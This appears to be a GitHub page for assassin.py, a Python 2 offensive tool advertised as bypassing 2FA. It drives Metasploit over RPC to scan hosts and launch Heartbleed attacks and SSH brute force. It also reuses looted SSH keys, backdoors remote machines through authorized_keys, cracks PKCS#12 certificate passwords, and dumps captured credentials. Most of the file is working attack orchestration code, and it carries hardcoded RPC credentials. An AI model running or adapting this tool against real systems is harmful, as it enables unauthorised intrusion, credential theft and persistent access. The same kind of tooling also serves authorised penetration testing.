-
Notifications
You must be signed in to change notification settings - Fork 72
/
assassin.py
296 lines (236 loc) · 7.79 KB
/
assassin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
#!/usr/bin/env python
import argparse
import sys, os, time
import pickle
import msfrpc
import time
from glob import glob
from post import prepare, pka
from cert.transport import control
from cert.analysis import detest
from crack.pkcs12 import win
from check.vuln.pub import stat
import subprocess
import webbrowser
def advanced(ip_input):
client = msfrpc.Msfrpc({})
client.login('msf','abc123')
res = client.call('console.create')
console_id = res['id']
a = client.call('console.write', [console_id, "db_nmap -f --iflist %s \n" %ip_input])
a = client.call('console.write', [console_id, "db_nmap -v -O --osscan-guess %s \n" %ip_input])
a = client.call('console.write', [console_id, "db_nmap -PA -PS -PO -PU %s \n" %ip_input])
a = client.call('console.write', [console_id, "db_nmap -sT %s \n" %ip_input])
a = client.call('console.write', [console_id, "db_nmap --reason %s \n" %ip_input])
a = client.call('console.write', [console_id, "db_nmap %s \n" %ip_input])
a = client.call('console.write', [console_id, "hosts \n"])
a = client.call('console.write', [console_id, "services \n"])
time.sleep(1)
while True:
res = client.call('console.read',[console_id])
if len(res['data']) > 1:
print res['data'],
if res['busy'] == True:
time.sleep(1)
continue
break
cleanup = client.call('console.destroy',[console_id])
print "Cleanup result: %s" %cleanup['result']
exit()
def scan(ip_addr):
client = msfrpc.Msfrpc({})
client.login('msf','abc123')
res = client.call('console.create')
console_id = res['id']
a = client.call('console.write', [console_id, "hosts \n"])
a = client.call('console.write', [console_id, "db_nmap %s \n" %ip_addr])
time.sleep(1)
while True:
res = client.call('console.read',[console_id])
if len(res['data']) > 1:
print res['data'],
if res['busy'] == True:
time.sleep(1)
continue
break
cleanup = client.call('console.destroy',[console_id])
print "Cleanup result: %s" %cleanup['result']
exit()
def mainmenu():
#os.system('date')
print "Done."
print ('''
___ ___ _ _
|_ ) __/_\ ______ __ _ _____(_)_ _
/ /| _/ _ \ (_-<_-</ _` (_-<_-< | ' \+v2
/___|_/_/ \_\/__/__/\__,_/__/__/_|_||_|
''')
parser = argparse.ArgumentParser(description='Bypass 2FA - SMS, Voice, SSH')
parser.add_argument('--target',
#action="store_true",
help="IP Address" )
parser.add_argument('--silent',
action="store_true",
help="reduce output verbosity" )
parser.add_argument('--scan',
help="Network enumeration { basic | advanced }")
parser.add_argument('--check',
help="Check for vulnerabilities, modules")
parser.add_argument('--cert',
help="Certificate management")
parser.add_argument('--filetype',
help="Specify file *.extension")
parser.add_argument('--user',
help="username")
parser.add_argument('--secret',
help="password")
parser.add_argument('--host',
help="server ip")
parser.add_argument('--mode',
help="mode")
parser.add_argument('--auto',
help="auto mode for automation")
parser.add_argument('--post',
help="post modules")
parser.add_argument('--db',
help="Manage your trophies.")
parser.add_argument('--key',
help="keys management")
parser.add_argument('--log',
help="View logs")
args = parser.parse_args()
modulename = 'msfrpc'
if modulename not in sys.modules:
print 'Where is the package? Please import the {} module'.format(modulename)
if args.scan == "basic":
ip_addr = args.target
print "You selected BASIC scan. \n"
try:
scan(ip_addr)
except:
print "something is wrong with basic scan!"
pass
elif args.scan == "advanced":
ip_input = args.target
print "You selected ADVANCED scan. \n"
try:
advanced(ip_input)
except:
print "something is wrong with advanced scan!"
sys.exit(0)
if args.check == "heartbleed" and args.mode == "attack":
print "\n ... Start Heartbleed Attacks ... \n\n"
for _ in range(3):
try:
os.system("msfconsole -q -r ./check/vuln/heartburn/heartbleed")
except:
print ""
sys.exit(0)
if args.check == "ssh" and args.mode == "attack":
print "\n ... Start SSH Brute Force Attacks ... \n\n"
cmd = ""
cmd += "msfconsole -q -r ./check/vuln/brute/brute"
cmd += ";"
#cmd += "msfconsole -q -r ./scan/brute.rc >/dev/null"
#cmd += "msfconsole -q -r ./scan/brute.rc 2>&1 >/dev/null"
os.system(cmd)
sys.exit(0)
if args.check == "ssh" and args.mode == "auth":
print "Access machines with looted keys! \n"
print "Preparing user file ... ... \n"
prepare.looted_user()
print "Let system cool down ... ... \n"
time.sleep(5)
prepare.clarify(); time.sleep(3)
prepare.root()
cmd = ""
cmd += "msfconsole -q -r ./check/vuln/pub/reauth"
os.system(cmd)
time.sleep(3)
print "\n ... Gathering Statistics from 'authorized_keys' ...\n"
print "\n ##### These users can access to other machines via public key authentication: ######\n"
stat.userxxx()
print "\n ... User accessibity were found on these machines: \n"
stat.machinexxx()
sys.exit(0)
if args.check == "ssh" and args.mode == "backdoor":
print "Backdooring remote machines! \n"
pka.prep(); time.sleep(2)
pka.process(); time.sleep(2)
pka.add_backdoor(); time.sleep(2)
pka.clean()
sys.exit(0)
if args.cert == "analyze" and args.filetype == "pfx":
print "\n--------- Analyze the PFX file -----------"
try:
detest.analyze()
except:
print "ERROR: something is wrong, see detest."
if args.cert == "crack" and args.mode == "dic" and args.filetype == "pfx":
print "\n...... Dictionary Attacks on PKCS#12 ......\n"
win.crack()
time.sleep(2)
try:
win.median()
except:
print "\n Could not remove passwords on client certificate! \n"
sys.exit()
if args.cert == "crack" and args.mode == "bruteforce" and args.filetype == "pfx":
print "\n...... Brute Force Attacks on PKCS#12 ......\n"
win.bruteforce()
try:
win.median()
except:
print "\n Could not remove passwords on client certificate! \n"
sys.exit()
if args.cert == "windows":
first = args.user; second = args.secret; third = args.host
try:
control.generate(first, second, third)
except:
"ERROR: Script generation failed.\n"
pass
cmd = ""
cmd += "msfconsole -q -r ./cert/transport/instruction/muscle"
os.system(cmd)
sys.exit(0)
if args.log == "all":
webbrowser.open('file:///root/.msf4/loot/', new=2)
sys.exit(0)
if args.log == "loot":
client = msfrpc.Msfrpc({});client.login('msf','abc123')
res = client.call('console.create');console_id = res['id']
a = client.call('console.write', [console_id, "loot \n"]);time.sleep(1)
a = client.call('console.write', [console_id, "creds -t password \n"]);time.sleep(1)
while True:
res = client.call('console.read',[console_id])
if len(res['data']) > 1:
print res['data'];break
sys.exit(0)
if args.log == "whereis":
xuser = args.user
try:
stat.origin(xuser)
except:
"Ooops! User was not found!\n"
pass
sys.exit()
if args.log =="account":
xcomputer = args.host
try:
stat.accountxxx(xcomputer)
except:
"No account accesibility.\n"
pass
sys.exit()
def main():
try:
mainmenu()
#cleanup()
except KeyboardInterrupt:
print bcolors.RED+"\nCaught Ctrl-C, GraceFul Exit. POOOF"+bcolors.ENDC
if __name__ == '__main__':
try:
main()
except:
sys.exit()